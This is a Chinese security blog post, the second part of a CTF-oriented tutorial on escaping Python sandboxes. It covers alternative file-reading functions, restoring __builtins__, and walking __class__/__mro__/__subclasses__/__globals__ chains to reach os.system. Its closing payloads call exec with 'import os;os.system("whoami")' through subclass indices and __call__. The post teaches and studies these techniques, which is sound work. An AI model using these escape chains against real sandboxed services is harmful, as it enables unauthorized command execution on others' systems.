前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >从沙盒逃逸看Python黑科技(下篇)

从沙盒逃逸看Python黑科技(下篇)

作者头像
七夜安全博客
发布2020-07-08 16:54:29
1.3K0
发布2020-07-08 16:54:29
举报
文章被收录于专栏:七夜安全博客七夜安全博客

前言

本周发的有点晚了,本来周三发的,有点生病,就拖到现在了,希望大家见谅。接着上一篇的内容,讲解一下Python中的黑科技。如果大家想回顾上文,可以点下面的链接:

从沙盒逃逸看Python黑科技(上篇)

一.回顾

理理思路

在上一篇文章中,我总结了Python沙箱逃逸这道CTF题涉及的主要知识点 ,其中上篇讲解了其中两个,本篇继续。

  1. Python 如何导包
  2. Python 如何执行代码和命令
  3. Python 文件读取
  4. 内置模块
  5. 对象创建与引用

二.Python 文件读取

实践出真知

本节主要介绍Python文件读取,为什么要介绍这个呢?主要是因为沙箱是黑盒的,如果我们能读取当前正在运行脚本的内容,对我们的帮助会非常大。上文介绍的单文件沙箱,我们可以通过读取__file__来获取内容,查看对应的过滤规则。

初级

对于python文件读取,大家比较熟悉的是open 或者file 函数:

(1) open (py2,py3)

代码语言:javascript
复制
open(__file__).read()

(2) file (py2)

代码语言:javascript
复制
file(__file__).read()

这些常见的函数,在沙箱中一般会被禁用掉,我们需要挖掘更多文件的读取的方式

高级

(1) codecs 模块 (py2,py3)

代码语言:javascript
复制
import codecscodecs.open(__file__).read()

(2) types 模块 (py2)

代码语言:javascript
复制
import typestypes.FileType(__file__,"r").read()

(3) os.open (py2,py3)

代码语言:javascript
复制
import osfd = os.open(__file__, os.O_RDONLY)print(os.read(fd,1024))

(4) file:/// 伪协议

py3:

py2:

(5) fileinput 模块

(5) ctypes 模块

三.内置模块

如果沙箱不让我们导入外部模块,或者是要导入的模块被禁用,那我们只能求助于Python的内部模块__builtins__( 即Python 本身默认已经导入模块中的函数)。

dir内置函数可以列出一个模块/类/对象下面所有的属性和函数,查看一下__builtins__中的函数:

代码语言:javascript
复制
>> dir(__builtins__)[['ArithmeticError', 'AssertionError', 'AttributeError', 'BaseException', 'BlockingIOError', 'BrokenPipeError', 'BufferError', 'BytesWarning', 'ChildProcessError', 'ConnectionAbortedError', 'ConnectionError', 'ConnectionRefusedError', 'ConnectionResetError', 'DeprecationWarning', 'EOFError',
, ....]

为什么dir可以查看__builtins__ 函数呢?本质上是每个模块/类/对象/ 有一个__dict__ 字段,通过遍历 __dict__ 得到里面包含的属性和函数。

例如,我们可以引用__import__ 来导入os,并执行命令:

导入的函数,模块都变成字符串模式时,所有的静态检测手段都会失效,因为我们可以通过各种编码手段进行混淆。

由于内置模块中的危险函数过多,比如eval,exec等,导致上文使用的沙箱对__builtins__进行了处理,通过 del 关键字将里面的所有函数引用都删除了。

代码语言:javascript
复制
del __builtins__.__dict__['xxx']

如果保留reload内置函数,我们还可以通过 reload( __builtins__) 恢复,但是现在通过__builtins__来进行逃逸已经不现实了。

对象创建与引用

在上一节中,不知道大家有没有注意到 我说的一句话:

上文沙箱将__builtins__中的所有函数引用都删除

删除的是只是函数引用,而不是函数本身,如果你们熟悉C语言的话,函数引用可以理解为函数指针,既然__builtins__中的引用没了,那我们就需要从其他地方找到敏感函数的引用,从而实现逃逸。

在Python中一切皆是对象,比如常见的 "",[],(),{} ,我们可以使用type函数查看他们的类型:

代码语言:javascript
复制
>>> type("")<type 'str'>>>> type([])<type 'list'>>>> type(())<type 'tuple'>>>> type({})<type 'dict'>>>> type(1)<type 'int'>>>> type(1.1)<type 'float'>

我们可以通过这些Python 内置类型的继承链来寻找更多的引用,以下字段是寻找继承链的关键:

  • __class__ :返回一个实例所属的类
  • __bases__ :返回一个类直接所继承的类(元组形式)
  • __mro__ :列出解析方法的调用顺序
  • __subclasses__():返回子类列表
  • __dict__ :列出当前属性/函数的字典
  • func_globals:返回一个包含函数全局变量的字典引用 (python2)
  • __globals__:返回一个当前空间下能使用的模块,方法和变量的字典 (python2,python3)

其中 __bases__ 和__mro__ 类似的,用来寻找父类,__subclasses__()用来寻找子类。示例如下:

代码语言:javascript
复制
>>> [].__class__.__bases__(<type 'object'>,)>>> [].__class__.__mro__(<type 'list'>, <type 'object'>)>>> [].__class__.__mro__[-1].__subclasses__()[<<type 'type'>, <type 'weakref'>, <type 'weakcallableproxy'>, <type 'weakproxy'>, <type 'int'>, <type 'basestring'>, <type 'bytearray'>, <type 'list'>, <type 'NoneType'>, <type 'NotImplementedType'>, <type 'traceback'>, <type 'super'>, <type 'xrange'>,

假如我们想在Python3中调用os模块中system方法,而不用 import os ,就可以采用这种方式:

但是大家可能会发现,这么多的类哪些 符合要求呢?给大家一个小脚本,遍历出os模块的引用:

结果如下:

代码语言:javascript
复制
(72, <class 'site._Printer'>, 'os', <module 'os' from 'D:\anaconda2\lib\os.pyc'>, <module 'os' from 'D:\anaconda2\lib\os.pyc'>)
(77, <class 'site.Quitter'>, 'os', <module 'os' from 'D:\anaconda2\lib\os.pyc'>, <module 'os' from 'D:\anaconda2\lib\os.pyc'>)
(98, <class 'socket._socketobject'>, 'os', <module 'os' from 'D:\anaconda2\lib\os.pyc'>, <module 'os' from 'D:\anaconda2\lib\os.pyc'>)
(99, <class 'socket._fileobject'>, 'os', <module 'os' from 'D:\anaconda2\lib\os.pyc'>, <module 'os' from 'D:\anaconda2\lib\os.pyc'>)

如果想寻找其他模块,例如 sys,__builtins__, 都可以往代码中列表中添加。

还有一种是利用builtin_function_or_method 的 __call__,找到对应的序号:

使用exec执行:

代码语言:javascript
复制
[].__class__.__mro__[-1].__subclasses__()[34].__call__(exec, 'import os;os.system("whoami")')

[].__getattribute__('append').__class__.__call__(exec, 'import os;os.system("whoami")')

最后

下篇敬请期待,代码的排版还得优化一下,有点乱,只能截图代替了。

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2020-07-05,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 七夜安全博客 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 前言
  • 一.回顾
  • 二.Python 文件读取
    • 初级
      • 高级
      • 三.内置模块
      • 对象创建与引用
      • 最后
      领券
      问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档